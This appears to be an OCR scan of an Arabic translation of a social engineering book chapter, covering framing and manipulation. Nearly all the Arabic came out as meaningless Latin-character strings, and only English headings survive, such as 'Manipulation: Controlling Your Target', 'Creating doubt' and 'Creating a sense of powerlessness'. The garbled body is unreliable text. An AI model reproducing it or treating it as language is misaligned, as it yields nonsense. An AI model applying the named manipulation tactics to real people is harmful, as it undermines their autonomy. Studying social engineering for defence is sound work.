. jj£2 jl IgJ AjjJ ^^cl ^I^VI (juVlg a\\ L— Ll^ ^aA C— Ll^ j^a L_fl^Jl (Jlllvfi* <^ jl jt£al Jjj^J A] jl-^-a 4-1 (JjJa^VI j-a 4_J (j^aLkll jUaVI 

Jc <J j^ill j* ^ jill I^A ^aJ Jflj .Ap^J Jc Jali^Jlj A^jLabG <jjjL3I s-tajV ^Al^ ^a&lLaj L ; lilaJ ; jUaVI (J J^ ^ W J Ld^ic 

.A-LQ^jj Jj£l AllJ Jl l$Lj^J jl jj^ a all ^S^. j}^ UJJ S^lcl ^aJ Clll^ 1970 J <U^.l (_£ jluixi 

^tfiJcVI ^UaJ jl (j^akjaJ! jUaVI J^J*J ^aJJ Clu^ 4 Jj^I <J J^l <J^-^ j-* (*J^ J^V^ ^""^ I— lAaJ tAjj^kjui Jj£l J» > <n\ JjUaj 6 Jc 

,AU»Jl jj^ll j* t*Ui j jiill j* jW*^' ^ J^ J '^K 

;lAiL^j| j£-aJ 4iV ^iilill £jJa IgJtjJaj ^aJ J^lj I J-^^ A_x»£l j-<Jl ( ** d j-* *^lj CS^J •^-^ JUJ c ** u>1 .^ (J^kjuj jUal Jjj^J 

j^f*^ !(Time) ^j2l 

# <^.LaJl Jc J-axJI j cjS j3I ^ j^^^ j l^j^^^ 
cAjja! jiicVI jfLj i u La .AJjl cjI j^>^ ^ jjoj cIlujj] (jl -ijjj cIm^j L - ^^-^ i(Effort) ^ 7 St 

."aJI Jj^" ij <ia o^jjj ^ill aj^JI jUaVI ^il lJ^JI s^oLabo <-*Ur, .6 Ai^JI i(Education) ^jWMt 

^il! J>i*Jl ^jjJ J lS^C- Ij^lS l V^ll (jj^J jl t ; 1>J i <iialc J£ (JjjJ j ^gjlala ^jWlti (jj^J Jl t ; 1> J l(Logic) (jfal^ll 

.(Jfrlalall ^ tilli Jaij jl ^iLlaaJ ^31 jll <L^)ia3l m b laJJ jl ciLujj Jc 

jl ^ j-gI JasJU AjtSL L ^iA\ j 4 JaxII jnv i il l La ^ Ai ^slJI :(Deep emotional ties) ^j^^ l ^-laJaUil CjtibUJ) 

^Lil] Uoa /qUUU t fl^JI ^stJlLaj "< . Ujuj" jc tiL j^aliJl ^aUUU t -ii< |i| .Cj^j J-oslSI La AiSaUJI j^3j < ^aJL 

JlLa Cj^L^.j A_i^. jj3I jLaLLa^a tiL j^aLiJl Ajujill 131 _tiL Aj^aLaJI Ajujill <J^^ ^ ^>*-^J ^ ^ aU »U j| j^ 

/oliL^-oil L_fl^Jl jia ^stJ L_fl jjoj (_5^lj ^^ju^oJI 

.jojUII j-a djlc^^A^ <!jU^» Jla (Domain-specific transformations) ^i*^ cjlaUail CjVj^I 

lsj^j is^ uj^ j^*^^ (Global interpretive frame transformation) gr*^ J^V^ Jj^Jl 

jx JUBjVI blia) UijlL La J£ ^^31 jl 4 jSflll Cj^Lj^II jLa^l 4 jiull CJi^j J ^UJI jj^ J JUJl Lo£ LaLoJ 

.(.^cll t^jJl Jjj^jII j ^jjoJI J aJLojujIjII Jl Ajc J;3j^JI 
j-a ^aC.^1 Jc J g ALaJ jll ^LlujVL ^L^U I j^La. jjjUII JaxJ jl j^-oJ * a (iLudij *La^l j-aj tiL j^aLkjl jUa!)U jj^kVI *La^l j-a Jc 6j^3l 
,l^J AjI^J V 6 jS AjJ (J j^ill J^aj ^1 I^LujI J ^^C-Lal^VI (jjjAi^-aJl j^j '6 AjujVI j;ilaLi3l (J^a j-a ^1 ~1 1^1> a I 

(Using Framing as a Social Engineer) ^Lu^l <j-H$-a£ j^ai^l ^lill^l ^ 

j-a t . ull miVI j-a (J^axJ ,L_J jLojI^ jjllaLill ^^cLal^VI (Jjj V^ a\\ i>AaJLujJ jl j£-a-aJl j-a jll (J^>ia j-a ^jAslSI Clij^i ajujaII 13^ Jl jJa 

. jjjLill J liLLaal Jl tillj^j jl j^j 1 g ^ ^ ; 1^ "Ljj^ 
Jc til^cLaaj l_s jjoj AjujVI jj-°Vl .(framing) ^-W^^ ^hj! jl ^ j>j c,^^^ o^^m ^ j^ 3 ^^ ^hVimV 

>c ^cLal^.l jjj^i^a£ l^al^Jjajl A-lij£ j jLacVI J^aLj A-lij£ ^ jjJa 
La] tila^A jV CljLa jlx^all jxi ^ ^ j^. I^A . jJ^fllll J U3 jlc ^^l..^ ^jj) ^^^u^lLa J^J A jUaVlj . jUaVI La 
jj£j jl c_L^J Aj!^I L_fll^AVl tSllj j-a o^lj .^L (j-aUJl jUaVI J cJ^Jl ^jQ^" jl 6 La j ^ ^ J^V^ ^ oliLa^a 6^J^ jUal ^Lijj 

>c ^cLal^.l (jjj.Vlg ^ jjiiaUll J lillaal ^AJ^aJ j-a aJUII ^jVI ^1 Jill Jc^ 

(Everything You Say Will Evoke a Frame) j^V u :^jVt SjpIUI ■ 

jc ^Jl Cj^jIL CIjI^j lij ,<ii^JL^3 l^al^Jjojl <aj j^3 j tlAjjiisu j^-aJ V Aqjq^ti A-ix-nJall .^LijujVI JJjj^J J-oju jjjUII <J j^C 

jl^j i^j jA± II t fljl^Jl Jc ^ jLkJl J jl£ Ail jc CjLoKJI ojjj^II l— Lojujj lij ,til3 ojjj^j jjoj (iliac jli 4(Jasl!I J til > >n g i j 

jUaVI I^A t . Ujujj jjujj IIa Jc 6^)iaJjaill Jc OJ^IS jj^J <^ljl .CjLoKJIj ( LmaJl Ajl! tL-LJalxll JJj' ^'y tillac I^JJ L_fl jjoj tLjJalc 

. Jxill JjJ Jj t a Li ^xJ| Jixll 

jll ^LloiVI JJjj^J L_fl^Jl <Jixl ( . UjujJ jl j^-oJ ^LjU (iljl jLl^.l (J^^a jC _ jjllaLill aIa^IjujV "Ljj5 ^-L^ J dlLoKJU Ojjj^ll 

# 6^JJJ (_^ill jUaVI Jj ^-J (il^pall £>jjj^J jl Aia ^JjJ 



932 



44_nAi3l Sjjj^I! (SJaiJ Jc lj-^-3 (j^ ?Lu]aC A\f \ ?liUJ ?aJ laC ^aj^aS L£jU ^ dua j ^ uj (jc dla-AjuJ (jl (ill (jjAxjj (Ja 

C5 i*j V li&j .^^Lua-VI all <iuu3U t^a. S jl g a\\ £>1a .tiljLJjj tillxaJj c^LqLqja I jjjj Jll j italic J ^UJjVl ^jj i^ll*aj J]| 

Jc jIjaL^VI djLalall U jUkj jll diLalaJl jUjc^VI J iafc jl ^JJJ fc&aJ j tdiiij Ja J *J£^ ^ - ~* L5^^ ^ Cj.la25 (jl 

tUlLklj L-boil jl ^1 t laH (jLk^ (j* jaJ ^1 lil .AjjJaLJl <L1]| fiUlxJl J <j jjax-<Jl J jUj J jl till JjSI (jl ( yJalaji j-k^J Jlia liA 

.l^LLVI ^ j ^— iju^-ij tiL <j^aLk]) aJLlSI jUa] .1*2^ (jfL ^3 C5 liaUjaJ! l^ja tiLJ Sj^ ja.1 (jla Lajj 

(j>» ^lakj duUj Laa ?<flJ laJI J t"ui jll (jLaJjllj 4_ajJaU3l ^laLJaJl (j>» <j^aL^a - ^; J^-J j ^—^^ 4_jjJaLJl (jl ^aa] dllii jl liLa 

^nal AjuJI <jjjajLxJl (jxi (3f^ CS"^ 1 ^ .Ailj^axJl dll^ajll (J^asu (jc ^-I^clSj (jc !)L-a3 tLjajl <L,AaJl (j>» JJC jllj ^ jUall ^a j53l 

all Ja»xJl ^ jiill jfa. j> 

ciSjl <iK tgJ lalaaJ jl ( . laj jll <Lj]aII ^A £>iA .^alsJa]! (Jjfla JJj> *alj ^ jflJ L_fl jjuj ciljli 6(jaJ ^aJ ^al <j jj£jl>JI ^ la ^ ^ du£ lil 
( . laJ ,^C>1 ala.1 ^j" ll^ <i£ -!a^)L<i ^^a-jjoixi (jj^J (jl ( ; laJ V ^il (j>» J-^Jl .'^il^ ojjj^j t^JjSj <jL (jj^J (jl VJ */ , J .tilal^Al 

^la^A JjIj (jl 

AJSslSI jUaVI lyJ jUaJ o^Ja l^ijjau ^ ^| CjLaI^I ^lilt dJPllil ■ 

Words That Are Defined Within a Frame Evoke the Mental Frame 

fcdli ^ ^Cj j^ixJl J jiL ^-aaJJl jUal Jxa. Cj^jI lil <j1 dlia. .Cj j^V^I J ja. cilj^J J*aJ Cj j^'mW jail (jal Ul tiaa-V 

t^^Jl jl£fl| J ^aaall Lg lc Sj^SlI ^Uua.VI j-^^ <ill Jasu jjiSaUllj j^till (>« ^Jj^l ft^c-lill .di j^aixJl jail <a.laJI (jjJ 

. Jjuta-a J^*-H ^^Sll ^1 lalLujl j 

tillij ^Uaa jj jia (JjjUII Jib l^jLja^ I ^Ixj j dj^alll J jjjUII cj! j^ ja jj aJjj 4 aW)a i oastmasters ) jJLvLlLu jJ 

Uilalc ^aljjoil ^jJa. o^jjj c^ill J^VI JJj 1 ^ajL L_fl^Jl (jl ( . UjujJ ^llj ^-^3 ^aJ^J .aA jj^Aa. L_alal jC Jc <J jj^aJl (Jjjia (jc 

.Aj ^ a *1\ tilij o^US ^ajjla^a ^cjjujjj (ja>»j 

^Ld^ (jl (jjia. J <j| ^A jUaVI (j-« o^clall ^ jS ( . ijl ^ tilliA j . lajjaaall (J^axj AaUjuj j;i!aU3l (j-d L_3 jLojVI I^A ^l^aJLajlj 6(_^ja.l 6j^ 

jl jjaiilll ^J j t^a 4j3 (^ill CjS jll tilU^S 6<! Ifrlajoaj ^31 <AlSI jjj^II Ail jJ ^aJ (jxi j l^JJ^iu ^aJ ^31 CjUi jlx-<Jl <aJlx-AJ ^ajflJ L_fl^Jl 
m ja.1 ^^^joi jjjj^j J 4_jjaJU c V^ti ^joaj o^clall 6^A 6 Jj-^a. <j jjax>Jl (jjflal SjjujUx Sjjx-a ^jujj3 li!>la. , jla^VI 
(j>» ^ (_^l _U»LdJ 4_a. jflaxJl Ajjjajt-xJl ^ja (3f^ J LLd^ ^la.j j" £a (3^^ L — fi^«JI J^ ^JJ^*^! (J J^* ^ 1 *J 
3 - aL^all ;<a jj^JU l^J^J dLd2 U^k; LoAlo jjj - aJ tiffic I^jj ttilli jJj - aJ tiL^ U^J cJ^I ^ ^ ?5ijja*^l 

.^gjjaJ ijudll (jc 4_nAill ojjj^II ^jojjj c jll I^A . M 4i j j£j«-a3I Ja (^Ujujj tillil 4_JliL<»j l^a. Aaj-djuj 

(Negating the Frame) j^VI j^S »jfrlilt - 

jjjj^aj ^a^ tiLoiil J jiJ V jl dj jAixJl o j jj^a ^jJaJ liffic jli tAajj^ll J di jAixJ 6 jjx-a C-Lau] Igil till dlla lil 
l_jc.jj (^ill jUaVI J ^ « > ^>J IjjIHj ^^^joi (jc Ijia. (jjaj (jl jl tjjjjUa^ tljia. (jjaj (jl L_fl^Jl jUaJ .^Jj^ ^^A jUaVI 
(jl ^LdaJI (_3flj| tjjcl slaVI (jjjojAl^Jl (j>» <jaJ ^ Cj^IjILJI (_^^a.l J .j^jla aII ^^cLua-V! j" ^11 JjS (j>» ^ j<alU ^ laJLu^J La Ullc. 

.DjjUa <a.j^j lU*^ J^^l I^A 

(jj^j 1 3 U nn A£jJJl J (>aa ,n Cj^jI ^jII ^InaJl CjI jijJJU <La^ Cujla ^3ll USB £^L« c> ^ ("iVigmt tCjULSlil! ^^a.1 ^UjI 
^jjlLi AjtjJaJ (jc l— laall ojjjjJa Jl 6jai-d jj>l^aJ ^itam 6(jja." j <3J C-Ujujj£I ^3 dua (_^i3l (Jjjila J-<JI ^1 (j-a dlJjjal . J;iaij 

." (jVI (jj5a^ ^1 .l^l^a f3 Jll USB 

CajI tlgic Ijiia^J (jl jjjUII J j^j (jVI j tAinaJl dULJU J^a-o USB dlSalojl dja j AiUaill JxiU£ tilliA dija Cj^aj tilli q\ Jja-ft 

rogii€ USB Jc jjils^l -lie <j (jjjscJjj ^ill (3IAII Jl SjUxll (j^ ^ jill 11a .ciliUul*^ ^WAil jjiJI ^j jj dix^ ja jaJI J 
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jlLV) 111 jjau Jll j jUa) J jj£iU) J uiifU uiui!! : 4ju) jl) SjpUJ) ■ 

(Causing the Target to Think About the Frame Reinforces That Frame) 

(jjfLjal 4<1 6.1} JJ J^V^ JJ* J^ J^ c tilLt-a Jj£ LJ£ . j^X-G jl jClfl <JJ"^3 ^ ^(J^ 1 J J^ j^J^ ^La.jJl j£ J 

. jlLyi Jl j jj>j J^Vl c> 

^^Jl JjIuj j j^ki JJ^i j (communication modeling) J-^VI joUj Jc- cs^ll * j*Jt J jj^ J^ 

lilal^l Jc. CjIjjjIj IgJ (jjfL (jl Jllj ^Ul^VI 

Si <jl£ <jS jj ^ JJ^ (J^Jjll £y J& ^ijcl U lS^ (j^ J 6 jW^"^ J lafJalU CLoLaJl J^iil V .^-^ Jl IjaLaui du£ djli 

Ajjoij ^-gA (3^^ ^ J*^ ^JJJ*^ lS j-^I lP 3 *^ J (Jj^I (jl t aj£ djjljj jlikVl CjI ^ <J^-^ t ♦ iffi^W L — ^ .^JJJ^ J (Jjj^I (j-° 

. jUll l$J3 S^LjaVI dijl£ CS^^ <-5 CS^J*^' f^lc-Vl L_flUjll Asu ,£jl jj^JI J j^jJ ^ Jj^ 
'UJ^ * ^JJJ^ J W J ^ J^ jW^ 1 ^ U^J^ C ' J^j" s-LuiaJI tilli J JLa.jj t fljlgJl Jc L— lj£ I !«^JuLa 

^^^JOl (_^l £AuH 

^l^J (jl (j^J l^-jli tClJjjaaJ l^jjAjjJ (Jj> gal 9j3I "LjJJJjoij" JaaSj (J^ gal 9jll (J^H t *° ♦ .Ia-^I tilli cJ*^ ^^Nfi ^jjjAi^xJl (j^J 

.^)s«_Jjj jl (jl L^^JI (jjAjjj (_^il| jUaVI 

OP ^li^ll" t <J1g prUjSi (jjljL aS ^L^jI t><j^ j^ 3 ^ uj^j^ ^•^ c - .^^Ic-VI (JjIjuj j u>n (^j^.1 j& (Labeling) 

j-oilaJLuil J ^LaiJ (jl (j£^J ^31 A-aau^al lj jl jiloaVI (>« 4_nAi3l Jjj^all ^jojjJ CjI jUxJl o^A ".^^ ^L^ajal" jl "... 

^uujjj 'V>J>JI CjUjIaj" jl " (jj^U jVI (jjoU^l " Jio Cjljoun .Liajl <aAxA\ CjljUaVI (J^ali jl <jLaJ L^jli ^1 jSSI .AjjI^jVI 

A \ \ 9 \ \ A \ \ \ 1 1\ L ^a 

Ajc dlli (_^ill jUaVI Jl c fl^Jl jLja^J IgjLuj (j^ jll j Ajjj^a jll CjL<J£JI ^ ^LlujVI <j.<u.>u3 dj|jlg-xJl o'^A ^l^klojl a) 

Jl djjlaj . jjill J^ $Ui c^ia jj ^ L ^j\ jl U£ liA qa S\u\a i<A\ J jll Cj^jI Jll ^Ij^JI (> c_j|jjaVI 
(j-^^3 diia 44jUl13 l^cLoixi (jl^ ^illj ^ jj (j>»VI (JjjjL^ tilLiA ^jl£ ^(jjixil tojl" ;<JiL<» S^Uau I j VW aj 4^^j^a <!L^. ( J (JjjjL^JI 

".^^jla Jc ciJj La ^1 (jialjal J t . ujuJI ^ 11a . jjj^JU J ^aujj (_^^1 l! j^-^I CjL^jjj^j 

A-Uugull Jlft Jc J jj^a^Jl Ajjj (jl£ lil .6^Jjl ^ill jUayi J U^J^^ J Ju ^ Ujlalj "<jUi3 AcLaixi" IgjU ^LuJl (jjjjlaJl <L^a j 

a jj jl£ U£ "ajUH ^Laui" (jjfL (jL JjJaiVl (j^ -uli <4£ ^j^ll 
J^j (jl (j^j (^cLai^-Vl (JjjA^aII .(jj^aiill Jjj tillil ^il lLli^j IjjS^ (JjjJ <j£l j <LlaJI J^^j Jlxi (framing) j^ 3 ^! 

# ^ jjJa j-<Jl (jC Ij^ ^ J^P*^ UJ^ M J^ 3 -^! ^UiajVI 

"(Status Quo Framing Increases Support for Torture) s^^l ^ t> ^ j^^l c> jaIJI ^jll" cjIjS 

dj^ jj Cl^Jl li^ J . Cjlst-xiL^Jl c atiai ^ ^j>i (jjj^Ull t(jlc.jjxi Cj j^joj j cI£j£juj! l^iJ 4(jUJj^j| dj j^joj 6<j!^j|j£ (jjl > nj jS (_^ill 

^Ia^IjujI AjJa (JjjUII (j-d Jjll^Jl 6^IL<JI CIjUV jll J jJ^a J-<JI I^A J ^^UuAl CjjIjI jll ^aUuA^l! 1^. 6J;iL<i djUUj <C ja^oJ 

(j£-aj (jjl^.U3l (jl^ lil AAjju* jA <jojIj^3I (jxi (jiajxJl (jl^ j .AjjU^JjojVI CjUg jlx-<Jl ( -Luj^I L_Jj^Jl (j* j J L_JjAx!i3l 

t c qVi^ a iJ&Li 3JLojj3I <c.Li^ (jj jia (jc. ( . jjc. jA l_jjAxj3I (jl Jc (jflJJ jll (JjjUII (j-a Ajc j3 <c j^^ ^ Jc <J jj^^JI 

^(jjjjaa 6^ljS ~* Lq L_lllaj I - uj 486 Jl (j^ ^ J^^ * ^J^^ 

: JjVl SjiaJ) Sf IjS 

ALU* (jxi ^ jjll li^ . jljjkV! J UJ^ J*^ C3J^^ J ^ nni^l L_j| j^JjojI AJC 4_i£jj^VI dj) jill <Jj3 (jxi iaxjJall ^hVlml 

duA^Jjajl A3j -( ^£jj-<»VI (jjliaJl (J^ (j^ ^-^Ij (j^J J^ uA^JjojI jll JjVI 6^<JI dAAj 4 jjjlijll (J^axJ laSj ^6^J^. iaijJaJl 
(jjjj£ J JjV J^-J JJ^-J t^UJl diaJ ^jojjjj (jjiuJuj (jjl£lx-<Jl -laJJ ^13i J LaJ c4 alia <JI L-lilLoaVI (j>» AjAxII <j£jj>»VI CjI j£J! 

.6^.1 jll 6J-<JI J ^aUI 6Axl (jj laljJ i u ^ Uiajl (jjlajst^Jlj ialila.VI ^ .ALjIa djljjil *L<Jjxi ^Uiajl J (jUaJU (jjl£lx-<Jl (jlujj jjl! 

.diljljJ Jc J jj^aJiJl 4j5Lj-gV! <xi J^ll 1^ laaJ Jll 6AjAaJl dUj£ill ^ (jl jUjcVI 6jiill ajuj JJ 

: Jj US A^lill S jiill Sf I jS 

<LIL» (jx» ^ jjll 11a . jtlkV! J (jj^J iajoajVI (JJjuoII J ^J 4 JJjuLaII L_jI J^JjujI AJC <j£jj>»VI CIjI jllI (Jjfj (jxi JastjJall ^I^JjojI 

4_£jj>iVI <— il jail CLu^klojl A3j .(^jj^VI II cJ^ (j^ 40 J^*^ I^I^JjujI ^j ^ t jjjUjII (j >v* )\ taij 



934 



(jjjjuij (J*J& b^y* (JjV j^-j jmi^ j ts-UJl daJ ^jujjjj ^uasuj (jJalla-xJl JaJj LaJ ^ qV^ A\ LjjJLujVI (j* ^AxJl 

.S*laJ j]| 6^<JI ^ ^aUI S^xl (jJ laflJJ i o a l^^ajl sjj^" ^ ♦ JatijabVI ^1} .ALjIa CjljHil ^Ljajl ^ <jLaJl_J (jj£ix-<Jl 

dbaiJ JasuJall <LlL» (j* ^ jill li&" J ClbJaJjLLuji ojaill ^ 4.1^1 <LaaJl (jl V] t<ajUald ajlill (j-a O^ljll ^jJa jll (j* jjla uull djjl£ 

".(^O-aVl o^Ji cJj5 (j* Ldlc 40 l>* l-g-^l ^*i>"l ^ ^ 6 j^j^^ (j ^» ISa j 

du^Jjoal ojn^ a j 4_j^a^G (jj^Ia l^jj jl LaLaJ a^J^. t . ull mVI £>i& ^jl (_£ill j ,1a. I j jl-^aV J^V^ J£*^ ^1-^1 Clljl£ liLa 

(jjUaj ^gic Jataj £Jjoi (Jj^ jj^UslSI £>i& .AjuUII lIjI jjixlall (j>» AjjujLujI <C a ( " ll£ uj ^ jij AjUjoj .(jjl^lJl J^I-jJ Cll^Jl ^ 9Ja - ^ t fl - 

cJ^likVI JJa '(moderately disagree) <-Ctia>VI J^i*^ <(very mwc/i disagree) lj^£ JalSjll cjU^j <"jj]l" 
jisij '(moderately agree) J^«^ (Jaljj '(slightly agree) 5bB Jala '(uncertain) ^> '(slightly disagree) 
.jj^ak; J£ JUjI cjU> j^ll ^^1 ^u^J ^ lS j> > ^ .(very much agree) 

^Sa« ^ ^1 jJ l^U^ j p| ^ a\ (JjjUII ^j-d <C a ( . ^^ic 6J^IS dljl£ jUaVl Jaflfl jjir t ^> ^.l j J^*^ ^J^Ja (jC 

< (Jl II Aijoilfij 4 jl^jlll £Jj^aj II (^-Sc (jl (j£-aJj tdiVl a all ^j^xJIj ^jAslSI (jflaJ (jl (j^J " tdl^Jl 6^.1^)3 jl^alLai! 

j) & jUaVI 4<xui3l aIIj 4ja!)LkVI CjIjU^JI (J^ajC <9Jjia ^ LnjoiJ <x_jJal jIaII djIjjLiijll" ^Hkll ^ "<jAaxA\ CAAjJo3^\ j 

. "^.ull-luJl <jujl_ljajj jUlkVI (^5-^ (3^^ UJ^ (jl clA^ (3^^ 1 ^ > >>J 

. dil jluJ (jjjUll Clijl£ Lajj ^^1 CjIjIj^II j 6^l£^.VI j tAjjoLajVl CjI^VW a\\ (te5 ^. (jl j;ilaU3l S j£ (_^Aa CIijjj <j^)^j]| 

(j* (JJfl ^ cJ-^ ^^^1 cs-^" ^(S^^ ^ ^^>^ J -U^^l J^J^ J J^-^ *^ Cluli jll ^1 c C-Lujj] ^^lll ^cl ^1^1 (jjj,V^ a£ 

sjj'" ^ ^1 < L * a ' ^ 4L_lijaJl 1.^-Sj tl^J (jl^JjalJ V D^dAxi o jJ^ull (Jx^J ^)JJ^3l (JjT 9J j AjujVI ^llaliill .^cl j3 ^lllaJ (j^J 

jJalj J ^1^- (JjjUII ^jj j - 4 m 4_ij^sl!I Cjlilijil" j 6 1^1^11 cjUV jll .^jj l!^ AjjSjI! d^a a i^Lujj AlukJI L5 c\ al^VI 

j^ill U ^ Jli U Jj^J '(begin framed) 

. A > ^ dull 

£ ^ iq /q-n. p Lijuj ) (Jjl9J ^Qj*Q^ t T< S^a LuLq (jC ^j^^J (j^J^ilill ^l<"- ^C^|^)J (_J£ ^jl l_u^)flj Laic- C-I^ ^"^1^ ^] 

(jjj^ilj (j>» (jl j-<^^ L-H J^?^l L-H L - J J^^ '2006 .^^J^ >n J Cj^j (JIa (_pa JJC S^aLuLq (jV 

^J^ALuLq (jl ^aA^)fkj (j^J j tjjlxi j ^J^. J& (JjSj ^J^ALuLq (jV J '(j^Jl ALq 1 Ll JJJ ^aJ Igil j 6 Z 128 

^3 (JjjUII ^ (jl ft^ia. j±fi (jl 1^.1 j Ujjoi ^Sll (jl (j^-ftJ ^^ill ^jqj^ti (jla J^>*JI .tilli (J*^ ^J^>^l j 6Ajtl<ui j aAia* (JJ^J 

# dj| ^luj A * JaJ (Jj3 4 9±a > u Ia^)JJ*j 

l_1C^Ij13 4^I^JjojI (j^»J j;ilaU3l .(j-^^J (J^k ^1 (_^^jJ L_ a jjuj ^^ill CjLd j1s«-a3I J gaaJI Ua^A (jjicLuaJ qAxh a£ 

pLJc ^ U^3j 1981 <J-aC jLlkl ;JU1a3I J^f^ ^3^- .'^-^ ^^jj ^5^^ ^J^^ ^Ijlj^l ^-^1 (j^ t * a ^^ J^*-^^ 

(jj£jLulAll diikcl ^^ill J jVI <S£jouJI _(jia!j^V! (j-« ^jli j3I cJ cJIj^ £j > ^1 lP 3 ^*^ I u^^^ (jLu&l£ j ^^jajj^ (jjaiill 

•UjJajjjal t " jj ^ ^ ^jja j-aj (jjjjtlxJ! (j-d (j^aauai 600 (j^- ^L-^l J J^^l (j-° (j^l Ur^Jf" 

^JJI (> 200 sUa. iSjj A 
ni ^ ilSjJ (> %66 ^H^jj 600 -SI (_>j1-^I 5^ ilSjJ c> %33 <uJ B ^^*JI 
jUiJI I jjI^j (jj£jUl<JI (> <jUI 72 . jiaU^JU ^ jg^o B j^l j '200 ^1 jjVl il^V <*i jl^l 3-^1 1^1 cjljljall 

^ jjjIIluJ! (jjaij ^ Lxj (jj£jLab<JI (j^ (_^^>a.l <c a B j^^l Ijj^-^-l (j^jl->^^l (j* -iaaa ajUJI 28 'A 

(j^aa^j 400 ^J-^ ^— A jjuj C J^^l 

.Ijjj^j lJjjuj 600 i> %66 Jl-^l Ijjj^ V ^jjuj ^UuiVl (> %33 ^ D j^l 
^Jj *wl^ ^ (jj£loj ^^cUu^l (jjj.V^ .ULuj 6^)]aj-<JI <J1ojVI (j-« Vaj oUaJI jl^iaJ La (JjjUII (jli ^.ijL^jIj 6^>Iaj-<JI <J1ojVI (jl (j^ I^a 

(j£dJ jiiUll (j* igJ^Vl AaJl 1^1 UJ^ ^ilojVl J^al^ .AjS Uflt^l ^jjj ^ill jUaV^ ^^W^' J ^ djIjl^Jl oi^ ^LojjIaa 

.^jUxJI ^LjjI J!^k (j-d tSUi 

Jj-^a JJ ^J^^ill jA Jala Aa-lj (jia^)C. (jj^J (jl ( ; la>J (JIjjoj Q 
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m A jl a i uj| J t . Ujujjj j| L-flA^Jl ^joj lalaJ L_fl jjuj ^jll 4 jVo^I <iJ t . jj^J q 
(SjjjL-a tAjLlaJ cJ^) ^£ jluJl t fll VI jJ 3^^ Jc- til^cLuiJ L_fl jjuj jUaVI 4-lioil q 

.li& ^jj^aAaJLoiJ (JjjjIAaII (jjjaijAxJl (jxi J' . jLlaaII Jl L_flA3.il S-AjSI 4_LaUJj 4_Li~u j cJlj^ J *-~^!^ jfc* l)--^) 

_u J > n->> /Ml ^5 jl~_x_l Jc <U_l& S j_ ^ u ^il ^j) (j-i-aj j^---5l j l!^---^! ^Ic- ^ 3^ I-*--- 2 ' J^l o-^I JI£jujI (j-a 3__Ji j& j^-^-- 1 ! 

(jl (j£-aJ 6L_fl,_£_l I^J" 4_£jal" ^_C.La_^.VI (Jjj V^ <all £-a *La£-l j-a <J*^ (jl (j-^ ^^A^ iLo jl*-<_\l <J^--> (j-a 6^)&La]| ^_C.La_^.VI (Jjj V^ ^1 

jll ojjj^j jjuijj 6L_uillj jj^t.uJI a1 tiljjj ^jl ^^ill CjI^I^^VI i-__jl 4_La (J*^ 

4 uj-Ufrll "<>_Uax_l LI j3^I" L$^>--' -W^J- L>* J^ ^^g-l <-->VI 4 m, Vigil (j-a AjjolJJj £ 13^-1 J^-- 1 ! J J^-^-- 1 ! 

, jiiUll Jl lg_J JaJJ ^^1 4_U^)I__I Jjliu (jl LgiLuj (j-a ^^1 dlLa jlx-a_l Jt-ll Ajoajll (j_a^)XJ .A^Lal^VI 

(Manipulation: Controlling Your Target) ^ ^31t ^itUI 
c_djoij l_a jaJI ^ jj*-- ^jLLi ^ill ^ jjja j*It jAj tl^a. 3 a\)\a ^ jjja j-q j^lj^ll _o_*JI Jj_ ^ (Manipulation) <--c-5-_il 

.t_tl_ jjj^J U ^1 AijjUl 

."SjJ-a tilLj ^ilt £^11 <Jjau3U ^alk (C jlLJl jl Jl dlli JJjtill ^-JuJjUui" 

."£OU^ jl ^U^J ojiaJjuoll jl jjjUII" 

"6^.1 J 6 6^lc tftjl^ftj J^^l jl ((JJ^I jl (jj^^VI) OjinjMl" 

(^Jc ftj^lS (jj^J (jl cJ-Ajj q\ til^ jjJa j-<Jl liA ^^ic ^ jUl! (JLoj (JjcUu^VI (j-jjuj il^ aSI (j-a ^jAslSI liUJ ^ jjJa ^ 

?<ii^Jtj^3 Lq ^a^juj ^ic J^Ull jl 6^)IaJjaill tiL <j^aLaJI CjI jl^xJl a I I^JLujI 
ala I (J" a (J£J <jujIj^ t . iNj ^^^juJ L_lC.!^j3l CjI^JJ^Jj tdjlx-UxJl L_JjAL<i (j>» ^-IaIj ^1 ^LxJl (Jj.ulT. (JlLd ^ila^ ^^^JUJ 

jIjaII iL^il C5 ic Ajj^S c V^ll ^ij Ld^ic .^i^J *^j^JI S^IjV' j c5«^1I j^^I ( ♦ s-^^^l c * q 'V^I 1^ 1^^ UJ^ (jl J 

.Aj cjc^ill A^.) ^ J^Ull jl 6L^£I jaII j 6^31 j i ^j^ 3 t<xlla^3l djULixJI ^LojI C5 ic 

(JjS A^.Ij l!^ l!^^ ^-J^ L-lAiLoJ .lj^-<» cJ^I ^c^-^ 1 jl jA ^ jjJa j>Jl ^jl£ lil ^aja-v J-^^ L3J^ 4-^i^l ^ I^IujJ 

^uikll 11a ^1 (3^*^ lS^«^ {jl 

(Increasing the suggestibility of your target) S^bj - 

(Gaining control over the target's environment) ti-^t ^ ^ SjkuJl 

jj£VI ^UjujVI (j-« J^^l 3 J^l ^H^^j <— fl^g-Jl jls«-xJl ^Ll^ j ^ jj Jc Sjinjmll ^^^joi (J^ cJ-*^ (jl (j^J A-lj^jll 

^jllxl ^Aj^Ui^Vl ^Loj^JI J (social media website) aj^Lu^V! ^!^VI JjIuj j jilj-a Jl J jll ^1^1 Jla ^U^ 

.IaIUjj ^^jII CljLa jIslaII Jc (J^J^ (jc- !)Liaa t ( a ^ 11 j 4j^aLk!l (JjLujjI! (J^ajC till ^-ajoaJ 4_icLal^.VI ^C-V! ct^J Jj J J^ 3 

(Creating doubt) J 11 - 

c V^ti A-ijLudjl^Ul 4_LAjL-aJ! <x-a <iklAxJl tilli V .6jl^-aJ ^jj (jl ( . laj tAjcLal^VI ^ ua>H^Jl ^laj j (j-a .fi^JJJ 

/oAlJjj dlljIjS iLkjl Jc c fl^Jl Sjjfl Jc jJjJ (jl (j^-aJ 4j|^lx-a jl 6<ijUa j tl^JUJJ ^^jll Ac- 1 j^ll J cili£j^a3l ttilli (j-a V^J tiL (j^aliJl 

(Creating a sense of powerlessness) JJ*^ 1 - 

S^liloiVI 4 £ *J ^^cLal^VI (jjjAi^all .AjlVqlr ^ J <3j3I ^IAsuU ^j^J ^A^Jl JjcaJ L_J^pJl pUj) L_j| jaJLoiVI J Ua. <ln^Jl 4jvfiti dAA aA^LujJ 
^Lk JWUj 4<Iaiaj ^ La (j^-N ui (>a I^JJaIj ^1 "^UaJl" ^J^flJ (Jjjia (j^ (target's agency) j IkU t*LjSjl| liA (j-a 

_L_astjJall j tlU jjstjuj 

